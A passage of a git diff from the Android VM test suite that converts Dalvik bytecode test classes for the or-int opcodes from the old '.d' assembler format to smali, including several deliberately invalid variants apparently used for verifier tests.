+.source "T_or_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       or-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.d
deleted file mode 100644
index 2750eb2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_1.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit16 v0, v7, 8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.smali
new file mode 100644
index 0000000..fb4fdfd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v7, 8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.d
deleted file mode 100644
index bbddaa9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_2.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit16 v0, v7, 0x7ff7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.smali
new file mode 100644
index 0000000..e70a317
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v7, 0x7ff7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.d
deleted file mode 100644
index ee50f62..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_3.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit16 v0, v7, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.smali
new file mode 100644
index 0000000..33e07f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v7, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.d
deleted file mode 100644
index 2bc0910..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_4.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 8
-
-       or-int/lit16 v0, v7, 15
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.smali
new file mode 100644
index 0000000..6ec2cae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       or-int/lit16 v0, v7, 15
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.d
deleted file mode 100644
index a227848..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_5.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit16 v0, v7, 32767
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.smali
new file mode 100644
index 0000000..989e68e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v7, 32767
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.d
deleted file mode 100644
index 539491a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_6.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit16 v0, v8, 8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.smali
new file mode 100644
index 0000000..fb89360
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v8, 8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.d
deleted file mode 100644
index 1e28c75..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_7.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       or-int/lit16 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.smali
new file mode 100644
index 0000000..01fc069
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       or-int/lit16 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.d
deleted file mode 100644
index 42150a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_8.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       or-int/lit16 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.smali
new file mode 100644
index 0000000..8b3116c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       or-int/lit16 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.d
deleted file mode 100644
index a810f2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_9.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit16 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.smali
new file mode 100644
index 0000000..23eb356
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.d
deleted file mode 100644
index 71967f6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_1.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit8 v0, v7, 8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.smali
new file mode 100644
index 0000000..c8c19db
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v7, 8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.d
deleted file mode 100644
index 44143ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_2.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit8 v0, v7, 0x7f
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.smali
new file mode 100644
index 0000000..66b9469
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v7, 0x7f
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.d
deleted file mode 100644
index 9039138..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_3.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit8 v0, v7, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.smali
new file mode 100644
index 0000000..971b6b4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
